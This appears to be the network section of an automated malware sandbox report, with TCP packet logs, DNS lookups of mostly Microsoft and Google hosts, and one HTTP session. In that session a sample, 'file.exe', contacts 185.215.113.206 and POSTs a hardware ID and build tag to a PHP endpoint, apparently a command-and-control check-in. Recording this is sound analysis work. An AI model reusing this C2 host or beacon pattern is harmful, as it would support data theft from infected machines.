Oct 28, 2024 18:43:46.087898970 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.087980032 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.088022947 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.088433981 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.088433981 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.088473082 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.088774920 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.088856936 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.088920116 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.092801094 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.093081951 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.093142033 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.096312046 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.096400976 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.096956015 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.097040892 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.097119093 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.139364004 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.146281958 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.146311045 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.170751095 CET	63664	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.170806885 CET	443	63664	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.171665907 CET	63664	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.171870947 CET	63664	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:46.171902895 CET	443	63664	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.192821980 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.219618082 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.225975990 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.225999117 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.226897001 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.226958036 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.227026939 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.227046967 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.227123976 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.227157116 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.227197886 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.227236986 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.227247953 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.230690956 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.230715990 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.231615067 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.232040882 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.232067108 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.232506990 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.232517004 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.240825891 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.240858078 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.240926981 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.241111994 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.241137981 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.275223970 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.275598049 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.275610924 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.276180029 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.276185036 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.327212095 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.327271938 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.327323914 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:46.328936100 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.329102993 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.329161882 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:46.354300022 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.354324102 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.354377031 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.354381084 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.354581118 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.354613066 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.354629993 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.354641914 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.354651928 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.354657888 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.358508110 CET	63666	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.358536959 CET	443	63666	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.358606100 CET	63666	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.358850002 CET	63666	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.358864069 CET	443	63666	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.362525940 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.362740040 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.362801075 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.362816095 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.362823963 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.362834930 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.362838984 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.365190029 CET	63667	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.365216970 CET	443	63667	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.365339041 CET	63667	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.365545034 CET	63667	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.365556002 CET	443	63667	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.372051954 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.372876883 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.372891903 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.373548985 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.373553991 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.405266047 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.405339003 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.405384064 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.405776024 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.405798912 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.405810118 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.405817986 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.409496069 CET	63668	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.409529924 CET	443	63668	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.410001040 CET	63668	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.410459042 CET	63668	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.410471916 CET	443	63668	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.469850063 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.469938040 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.469991922 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:46.482144117 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.482287884 CET	443	63530	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:46.482362986 CET	63530	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:46.541001081 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.541186094 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.541285992 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.541656017 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.541661978 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.543082952 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.544074059 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.544104099 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.544779062 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.544785023 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.548580885 CET	63669	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.548595905 CET	443	63669	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.548698902 CET	63669	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.548863888 CET	63669	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.548875093 CET	443	63669	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.674726963 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.674843073 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.674930096 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.674933910 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.674978971 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.675206900 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.675215006 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.675226927 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.675232887 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.678870916 CET	63670	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.678895950 CET	443	63670	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.679228067 CET	63670	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.679306030 CET	63670	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:46.679320097 CET	443	63670	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.874289036 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.874663115 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.874725103 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.875849962 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.876215935 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.876305103 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:46.876375914 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:46.919368982 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.011200905 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.011331081 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.011395931 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:47.011429071 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.011490107 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.011544943 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:47.023946047 CET	63665	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:47.023997068 CET	443	63665	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:47.031454086 CET	63528	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:47.031476021 CET	443	63528	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:47.031493902 CET	63529	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:47.031513929 CET	443	63529	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:47.031543970 CET	63531	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:47.031548977 CET	443	63531	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:47.031598091 CET	63530	443	192.168.2.5	172.64.41.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 18:43:11.814157963 CET	192.168.2.5	1.1.1.1	0x11a6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:11.814308882 CET	192.168.2.5	1.1.1.1	0x1c96	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:16.793770075 CET	192.168.2.5	1.1.1.1	0xebbb	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:16.794044971 CET	192.168.2.5	1.1.1.1	0x9981	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:17.788480043 CET	192.168.2.5	1.1.1.1	0x7f7	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:17.788707972 CET	192.168.2.5	1.1.1.1	0x5253	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:25.117026091 CET	192.168.2.5	1.1.1.1	0xecae	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.117245913 CET	192.168.2.5	1.1.1.1	0xa691	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:27.112334013 CET	192.168.2.5	1.1.1.1	0xcae2	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:27.112504005 CET	192.168.2.5	1.1.1.1	0x1504	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 28, 2024 18:43:28.542201996 CET	192.168.2.5	1.1.1.1	0x7d28	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.542449951 CET	192.168.2.5	1.1.1.1	0x52da	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:28.730200052 CET	192.168.2.5	1.1.1.1	0x7954	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.730530024 CET	192.168.2.5	1.1.1.1	0x136a	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:28.736985922 CET	192.168.2.5	1.1.1.1	0x9193	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.737375975 CET	192.168.2.5	1.1.1.1	0xf7e7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:28.741802931 CET	192.168.2.5	1.1.1.1	0xb011	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.741981030 CET	192.168.2.5	1.1.1.1	0x3ae2	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:28.761778116 CET	192.168.2.5	1.1.1.1	0x7737	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.762192011 CET	192.168.2.5	1.1.1.1	0xb3cf	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:29.678714037 CET	192.168.2.5	1.1.1.1	0x43b3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.679032087 CET	192.168.2.5	1.1.1.1	0x3d73	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:29.679369926 CET	192.168.2.5	1.1.1.1	0x7bf	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.679611921 CET	192.168.2.5	1.1.1.1	0x853c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 18:43:29.697737932 CET	192.168.2.5	1.1.1.1	0xbb39	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.697918892 CET	192.168.2.5	1.1.1.1	0xaa30	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 18:43:11.822110891 CET	1.1.1.1	192.168.2.5	0x11a6	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:11.822231054 CET	1.1.1.1	192.168.2.5	0x1c96	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 28, 2024 18:43:16.801245928 CET	1.1.1.1	192.168.2.5	0xebbb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:16.801245928 CET	1.1.1.1	192.168.2.5	0xebbb	No error (0)	plus.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:16.802454948 CET	1.1.1.1	192.168.2.5	0x9981	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:18.098634005 CET	1.1.1.1	192.168.2.5	0x7f7	No error (0)	play.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.195	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.215	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.72	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.81	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.94	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.75	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.68	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.123908997 CET	1.1.1.1	192.168.2.5	0x660e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.196	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:25.124866962 CET	1.1.1.1	192.168.2.5	0xa691	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:25.124952078 CET	1.1.1.1	192.168.2.5	0xecae	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:25.799633980 CET	1.1.1.1	192.168.2.5	0x33b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:25.800595045 CET	1.1.1.1	192.168.2.5	0x7d70	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:25.800595045 CET	1.1.1.1	192.168.2.5	0x7d70	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:27.120368004 CET	1.1.1.1	192.168.2.5	0xcae2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:27.120488882 CET	1.1.1.1	192.168.2.5	0x1504	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.550231934 CET	1.1.1.1	192.168.2.5	0x7d28	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.550231934 CET	1.1.1.1	192.168.2.5	0x7d28	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.550483942 CET	1.1.1.1	192.168.2.5	0x52da	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.738123894 CET	1.1.1.1	192.168.2.5	0x7954	No error (0)	sb.scorecardresearch.com		108.156.60.50	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.738123894 CET	1.1.1.1	192.168.2.5	0x7954	No error (0)	sb.scorecardresearch.com		108.156.60.84	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.738123894 CET	1.1.1.1	192.168.2.5	0x7954	No error (0)	sb.scorecardresearch.com		108.156.60.60	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.738123894 CET	1.1.1.1	192.168.2.5	0x7954	No error (0)	sb.scorecardresearch.com		108.156.60.52	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:28.750844002 CET	1.1.1.1	192.168.2.5	0x9193	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.750854969 CET	1.1.1.1	192.168.2.5	0xb011	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.751446962 CET	1.1.1.1	192.168.2.5	0x3ae2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.752079964 CET	1.1.1.1	192.168.2.5	0xf7e7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.769512892 CET	1.1.1.1	192.168.2.5	0x7737	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:28.770243883 CET	1.1.1.1	192.168.2.5	0xb3cf	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 18:43:29.686986923 CET	1.1.1.1	192.168.2.5	0x853c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 18:43:29.687192917 CET	1.1.1.1	192.168.2.5	0x43b3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.687192917 CET	1.1.1.1	192.168.2.5	0x43b3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.687352896 CET	1.1.1.1	192.168.2.5	0x7bf	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.687352896 CET	1.1.1.1	192.168.2.5	0x7bf	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.687973976 CET	1.1.1.1	192.168.2.5	0x3d73	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 18:43:29.705220938 CET	1.1.1.1	192.168.2.5	0xbb39	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.705220938 CET	1.1.1.1	192.168.2.5	0xbb39	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 18:43:29.706079006 CET	1.1.1.1	192.168.2.5	0xaa30	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2792	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 18:43:03.072689056 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 18:43:03.989928007 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:03.993172884 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 46 30 46 38 31 34 45 46 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="hwid"BCF0F814EF8B2768236643------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="build"tale------DAEBKKKEHDHDGDGCFBKJ--
